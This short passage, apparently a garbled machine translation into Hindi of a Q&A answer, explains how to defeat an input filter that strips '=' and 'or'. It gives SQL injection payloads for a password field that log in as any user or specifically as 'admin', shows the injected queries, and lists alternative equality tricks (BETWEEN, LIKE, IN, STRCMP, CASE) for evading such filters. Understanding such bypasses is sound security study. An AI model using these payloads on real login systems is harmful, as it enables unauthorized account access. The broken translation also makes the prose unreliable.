मान लें कि lvl2_filter
की यह परिभाषा है
, जो मूल रूप से =
. की किसी भी घटना को हटा देता है और or
जब तक नहीं मिला, तब भी तार्किक या संचालन
||
. के साथ or
. के बजाय और एक सरल अभिव्यक्ति जो सत्य का मूल्यांकन करती है जैसे:
username: dummy
password: ' || '1
इसका परिणाम होगा:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
किसी विशिष्ट उपयोगकर्ता का चयन करने के लिए, कोई बूलियन बीजगणित के नियम
का उपयोग कर सकता है। , जहां x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
इसका परिणाम होगा:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
यहां <>
!=
. के बराबर है लेकिन इसमें =
नहीं है ।
ऐसे अन्य ऑपरेशन भी हैं जिनका उपयोग कोई सुनिश्चित उपयोगकर्ता नाम . कर सकता है बराबर admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …